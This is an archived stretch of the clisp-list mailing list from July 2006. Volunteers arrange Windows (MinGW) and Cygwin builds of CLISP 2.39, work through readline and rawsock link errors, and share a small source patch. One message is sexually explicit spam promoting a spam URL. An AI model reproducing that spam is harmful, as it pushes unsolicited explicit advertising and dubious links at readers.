Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 14 Jul 2006 19:18:19 -0000 "Sam Steingold" wrote in message news:al3bd77y2l.fsf@quant8.janestcapital.quant... >I no longer have access to a woe32 system, > so we need a volunteer to build clisp binary distributions > for woe32 and cygwin for the forthcoming clisp 2.39. > Hello, I can build for cygwin, will try current cvs now. From berningnlrcee@fhlbcin.com Mon Jul 17 05:01:43 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2RnC-0005NE-OZ for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 05:01:43 -0700 Received: from ntmiex072116.miex.nt.adsl.ppp.infoweb.ne.jp ([125.3.229.116]) by mail.sourceforge.net with smtp (Exim 4.44) id 1G2Rn8-000768-Ln for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 05:01:42 -0700 Received: from mail.fhlbcin.com by ntmiex072116.miex.nt.adsl.ppp.infoweb.ne.jp (Postfix) with ESMTP id D1E5A6AC88 for ; Mon, 17 Jul 2006 07:01:40 -0500 Received: from pvomvzqktokj (HELO xgvk) ([250.34.222.59]) by mail.fhlbcin.com with ESMTP for ; Mon, 17 Jul 2006 07:01:40 -0500 From: "Dianne Collins" Message-ID: <2661222507.9363341714@fhlbcin.com> Date: Mon, 17 Jul 2006 07:01:40 -0500 To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] Sleazy wet fuck by the pool X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: Dianne Collins List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Jul 2006 12:01:43 -0000 THrESE TIjNY SLUjTS CAN'T STOP COMMIpNG ... .. ONxCE THvEY TAKiE ALL 14 INbCHES!! http://caniniform.fjnqpo.com/?mostzero link try always want really hot can, try most not, get simply time? about best wish view wish world pak huge; art, order inside out. offer seen open get, have you? bye Dianne Collins From sds@podval.org Mon Jul 17 09:40:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2W8y-0006uQ-OT for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 09:40:28 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2W8s-0005Hx-Om for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 09:40:28 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AD6B12B1009A; Mon, 17 Jul 2006 12:40:11 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id CE7443680BF; Mon, 17 Jul 2006 12:40:10 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6HGeAbg028016; Mon, 17 Jul 2006 12:40:10 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6HGe6C1028015; Mon, 17 Jul 2006 12:40:06 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Jack Unrue" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Jack Unrue's message of "Wed, 12 Jul 2006 09:07:24 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Jack Unrue" Date: Mon, 17 Jul 2006 12:40:06 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Jul 2006 16:40:29 -0000 > * Jack Unrue [2006-07-12 09:07:24 -0600]: > > On 7/12/06, Sam Steingold wrote: >> I no longer have access to a woe32 system, >> so we need a volunteer to build clisp binary distributions >> for woe32 and cygwin for the forthcoming clisp 2.39. >> > > If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer. yes, actually, MingW builds are best. please make sure that the base includes syscalls, regexp, readline and gettext. > In addition to WinXP SP2, I also have Vista Beta 2 installed. > I can run the test suite under both versions. please do, but please build the distribution on the oldest system you have (w2k is preferred over xp). please build from http://prdownloads.sourceforge.net/clisp/clisp-2.39.tar.gz?download thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://jihadwatch.org http://palestinefacts.org http://openvotingconsortium.org http://memri.org http://mideasttruth.com http://honestreporting.com Trespassers will be shot. Survivors will be SHOT AGAIN! From sds@podval.org Mon Jul 17 09:42:23 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2WAp-00074u-3u for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 09:42:23 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2WAl-0000TH-KD for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 09:42:23 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id ADE512C1009A; Mon, 17 Jul 2006 12:42:13 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id CC3F33680BF; Mon, 17 Jul 2006 12:42:12 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6HGgCRK028038; Mon, 17 Jul 2006 12:42:12 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6HGgC0J028037; Mon, 17 Jul 2006 12:42:12 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Karsten Poeck" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Karsten Poeck's message of "Fri, 14 Jul 2006 21:18:07 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Karsten Poeck" Date: Mon, 17 Jul 2006 12:42:12 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Jul 2006 16:42:23 -0000 > * Karsten Poeck [2006-07-14 21:18:07 +0200]: > > "Sam Steingold" wrote in message > news:al3bd77y2l.fsf@quant8.janestcapital.quant... >>I no longer have access to a woe32 system, >> so we need a volunteer to build clisp binary distributions >> for woe32 and cygwin for the forthcoming clisp 2.39. >> > Hello, > I can build for cygwin, will try current cvs now. thanks. could you please take over the cygwin package maintenance? building cygwin package should be as easy as make cygwin-src distrib but the cygwin people change the rules every now and then and you will need to follow them... please build from sources at http://prdownloads.sourceforge.net/clisp/clisp-2.39.tar.bz2?download -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://thereligionofpeace.com http://openvotingconsortium.org http://pmw.org.il http://honestreporting.com http://dhimmi.com If you want it done right, you have to do it yourself From jdunrue@gmail.com Mon Jul 17 13:28:51 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2Zhz-0004oo-6D for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 13:28:51 -0700 Received: from py-out-1112.google.com ([64.233.166.178]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2Zhx-0003FZ-Tz for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 13:28:51 -0700 Received: by py-out-1112.google.com with SMTP id d42so1666481pyd for ; Mon, 17 Jul 2006 13:28:48 -0700 (PDT) Received: by 10.35.70.2 with SMTP id x2mr4518085pyk; Mon, 17 Jul 2006 13:28:48 -0700 (PDT) Received: by 10.35.72.9 with HTTP; Mon, 17 Jul 2006 13:28:48 -0700 (PDT) Message-ID: Date: Mon, 17 Jul 2006 14:28:48 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Jul 2006 20:28:51 -0000 On 7/17/06, Sam Steingold wrote: > > * Jack Unrue [2006-07-12 09:07:24 -0600]: > > > > If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer. > > yes, actually, MingW builds are best. > please make sure that the base includes syscalls, regexp, readline and > gettext. Who was the last person to do a build with MingW that included readline? What version did you use and from where did you get it? readline 5.1 does not compile with gcc 3.4.5 (MingW candidate). Thanks. -- Jack Unrue From sds@podval.org Mon Jul 17 14:05:44 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2aHg-0008Tq-6q for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 14:05:44 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2aHe-0006dD-I6 for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 14:05:44 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id ABA06CA00B8; Mon, 17 Jul 2006 17:05:36 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 1170E368219; Mon, 17 Jul 2006 17:05:36 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6HL5Z00030122; Mon, 17 Jul 2006 17:05:35 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6HL5V04030121; Mon, 17 Jul 2006 17:05:31 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Jack Unrue" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Jack Unrue's message of "Mon, 17 Jul 2006 14:28:48 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Jack Unrue" Date: Mon, 17 Jul 2006 17:05:30 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Jul 2006 21:05:44 -0000 > * Jack Unrue [2006-07-17 14:28:48 -0600]: > > On 7/17/06, Sam Steingold wrote: >> > * Jack Unrue [2006-07-12 09:07:24 -0600]: >> > >> > If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer. >> >> yes, actually, MingW builds are best. >> please make sure that the base includes syscalls, regexp, readline and >> gettext. > > Who was the last person to do a build with MingW that included > readline? Yaroslav Kavenchuk > readline 5.1 does not compile with gcc 3.4.5 (MingW candidate). that's OK - just leave readline out. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://ffii.org http://memri.org http://mideasttruth.com http://jihadwatch.org http://iris.org.il http://truepeace.org http://camera.org Lisp suffers from being twenty or thirty years ahead of time. From jdunrue@gmail.com Mon Jul 17 19:14:20 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2f6J-0000ie-Vn for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 19:14:20 -0700 Received: from py-out-1112.google.com ([64.233.166.179]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2f6I-0004HQ-Kj for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 19:14:19 -0700 Received: by py-out-1112.google.com with SMTP id c31so3692277pyd for ; Mon, 17 Jul 2006 19:14:18 -0700 (PDT) Received: by 10.35.88.17 with SMTP id q17mr4858526pyl; Mon, 17 Jul 2006 19:14:18 -0700 (PDT) Received: by 10.35.72.9 with HTTP; Mon, 17 Jul 2006 19:14:17 -0700 (PDT) Message-ID: Date: Mon, 17 Jul 2006 20:14:18 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 02:14:20 -0000 clisp-2.39-win32-mingw.zip is now in SF.net/incoming The base --version reports: DRIVEN% ./lisp -M c:/bin/clisp-2.39/base/lispinit.mem -B c:/bin/clisp-2.39/base --version GNU CLISP 2.39 (2006-07-16) (built 3362176112) (memory 3362176333) Software: GNU C 3.4.5 (mingw special) gcc -mno-cygwin -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn -type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -fa lign-functions=4 -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a libcharset.a libavcall.a libcallback.a -luser32 -lw s2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 Features: (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 WIN32) C Modules: (clisp i18n syscalls regexp) Installation directory: C:\bin\clisp-2.39\base\ User language: ENGLISH Machine: PC/386 (PC/?86) Driven [192.168.0.4] A couple notes for anyone else that tries this (or can correct me) in the future: The MSYS version of 'ln' generates errors during 'make distrib' in the build directory. I locally changed the Makefile to use 'cp' instead. I think this is an MSYS problem not a clisp problem. Earlier, I had reported (and Sam responded): > > readline 5.1 does not compile with gcc 3.4.5 (MingW candidate). > > that's OK - just leave readline out. I also tried to include the rawsock module, but encountered this link error: rawsock.o: In function `error_eai':c:/projects/third_party/clisp-2.39/build-mingw/rawsock/rawsock.c:710: undefined reference to `gai_strerror' collect2: ld returned 1 exit status Consequently rawsock is not included. Otherwise, the tests pass and I manually checked that the distribution has the expected files and directories. I ran some of my own code as an additional sanity check :-) -- Jack Unrue From kavenchuk@jenty.by Mon Jul 17 23:22:33 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2iyX-000402-0h for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 23:22:33 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2iyV-0000Ze-Fe for clisp-list@lists.sourceforge.net; Mon, 17 Jul 2006 23:22:32 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id N7P6RPF7; Tue, 18 Jul 2006 09:25:30 +0300 Message-ID: <44BC7EA9.5060205@jenty.by> Date: Tue, 18 Jul 2006 09:24:41 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 MIME-Version: 1.0 To: Jack Unrue References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 06:22:33 -0000 Jack Unrue wrote: >>> If builds with MingW (gcc 3.4.2) are acceptable, I'll volunteer. >> yes, actually, MingW builds are best. >> please make sure that the base includes syscalls, regexp, readline and >> gettext. > > Who was the last person to do a build with MingW that included > readline? What version did you use and from where did you get > it? readline 5.1 does not compile with gcc 3.4.5 (MingW candidate). > > Thanks. > Use readline from gnuwin32.sf.net -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Jul 18 01:03:36 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2kYK-0004HN-Gc for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 01:03:36 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2kYI-0006Jz-OI for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 01:03:36 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id N7P6RPR7; Tue, 18 Jul 2006 11:06:33 +0300 Message-ID: <44BC9657.80808@jenty.by> Date: Tue, 18 Jul 2006 11:05:43 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 MIME-Version: 1.0 To: Jack Unrue References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 08:03:36 -0000 Jack Unrue wrote: > rawsock.o: In function > `error_eai':c:/projects/third_party/clisp-2.39/build-mingw/rawsock/rawso > ck.c:710: > undefined reference to `gai_strerror' > collect2: ld returned 1 exit status Oops, my last clisp build at 28.06.2006 :\ From ws2tcpip.h (mingw win32-api): #if 0 /* These are not exported from any known w32api library. Are they implemented as macros or inline finctions? */ char* WSAAPI gai_strerrorA(int); WCHAR* WSAAPI gai_strerrorW(int); #ifdef UNICODE #define gai_strerror gai_strerrorW #else #define gai_strerror gai_strerrorA #endif /* UNICODE */ #endif /* 0 */ in rawsock/config.log: ac_cv_func_gai_strerror=no -- WBR, Yaroslav Kavenchuk. From sds@podval.org Tue Jul 18 06:13:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2pOK-0005Yo-9O for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 06:13:36 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2pOI-0007Jo-KH for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 06:13:36 -0700 Received: from loki.janestcapital.quant [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AE7826100B2; Tue, 18 Jul 2006 09:13:28 -0400 Received: from quant8.janestcapital.quant (quant8.janestcapital.quant [192.168.250.217]) by loki.janestcapital.quant (Postfix) with ESMTP id 092F73680D2; Tue, 18 Jul 2006 09:13:27 -0400 (EDT) Received: from quant8.janestcapital.quant (PLEASE_CONFIG_NETWORK [127.0.0.1]) by quant8.janestcapital.quant (8.13.6/8.13.5) with ESMTP id k6IDDQSo010501; Tue, 18 Jul 2006 09:13:26 -0400 Received: (from sds@localhost) by quant8.janestcapital.quant (8.13.6/8.13.6/Submit) id k6IDDM8c010500; Tue, 18 Jul 2006 09:13:22 -0400 X-Authentication-Warning: quant8.janestcapital.quant: sds set sender to sds@podval.org using -f To: clisp-list@lists.sourceforge.net, "Jack Unrue" Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Jack Unrue's message of "Mon, 17 Jul 2006 20:14:18 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Jack Unrue" Date: Tue, 18 Jul 2006 09:13:22 -0400 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 13:13:36 -0000 > * Jack Unrue [2006-07-17 20:14:18 -0600]: > > clisp-2.39-win32-mingw.zip is now in SF.net/incoming > > The base --version reports: > > DRIVEN% ./lisp -M c:/bin/clisp-2.39/base/lispinit.mem -B c:/bin/clisp-2.39/base > --version doesn't it include clisp.exe? > I also tried to include the rawsock module, but encountered this > link error: > > rawsock.o: In function > `error_eai':c:/projects/third_party/clisp-2.39/build-mingw/rawsock/rawsock.c:710: > undefined reference to `gai_strerror' > collect2: ld returned 1 exit status > > Consequently rawsock is not included. this is no good. please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://mideasttruth.com http://memri.org http://truepeace.org http://ffii.org http://camera.org http://dhimmi.com http://honestreporting.com Growing Old is Inevitable; Growing Up is Optional. --- rawsock.c 29 Jun 2006 15:33:21 -0400 1.77 +++ rawsock.c 18 Jul 2006 09:11:17 -0400 @@ -707,7 +707,7 @@ #endif nonreturning_function(static, error_eai, (int ecode)) { #if defined(HAVE_GAI_STRERROR) || defined(WIN32_NATIVE) - const char* msg = gai_strerror(ecode); + const char* msg = gai_strerror_f(ecode); #else const char* msg = strerror(ecode); #endif From jdunrue@gmail.com Tue Jul 18 11:11:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2u2v-0000ZI-Qj for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 11:11:49 -0700 Received: from py-out-1112.google.com ([64.233.166.182]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2u2u-00027q-GZ for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 11:11:49 -0700 Received: by py-out-1112.google.com with SMTP id e30so96910pya for ; Tue, 18 Jul 2006 11:11:47 -0700 (PDT) Received: by 10.35.62.19 with SMTP id p19mr5863717pyk; Tue, 18 Jul 2006 11:11:47 -0700 (PDT) Received: by 10.35.72.9 with HTTP; Tue, 18 Jul 2006 11:11:47 -0700 (PDT) Message-ID: Date: Tue, 18 Jul 2006 12:11:47 -0600 From: "Jack Unrue" To: "Yaroslav Kavenchuk" In-Reply-To: <44BC7D2A.7060505@jenty.by> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <44BC7D2A.7060505@jenty.by> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp 2.39 on woe32 and cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Jul 2006 18:11:50 -0000 On 7/18/06, Yaroslav Kavenchuk wrote: > Jack Unrue wrote: > > > Who was the last person to do a build with MingW that included > > readline? What version did you use and from where did you get > > it? readline 5.1 does not compile with gcc 3.4.5 (MingW candidate). > > > > Thanks. > > readline from gnuwin32.sf.net Thanks Yaroslav. What package did you install to get 'tgetent'? It does not appear to be included with pdcurses from GnuWin32 and I don't see a termcap package there either. -- Jack Unrue From jdunrue@gmail.com Tue Jul 18 11:16:21 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1G2u7J-0000zB-On for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 11:16:21 -0700 Received: from py-out-1112.google.com ([64.233.166.182]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1G2u7I-000350-Es for clisp-list@lists.sourceforge.net; Tue, 18 Jul 2006 11:16:21 -0700 Received: by py-out-1112.google.com with SMTP id e30so98663pya for ; Tue, 18 Jul 2006 11:16:19 -0700 (PDT) Received: by 10.35.127.7 with SMTP id e7mr5869307pyn; Tue, 18 Jul 2006 11:16:18 -0700 (PDT) Received: by 10.35.72.9 with HTTP; Tue, 18 Jul 2006 11:16:18 -0700 (PDT) Message-ID: Date: Tue, 18 Jul 2006 12:16:18 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. 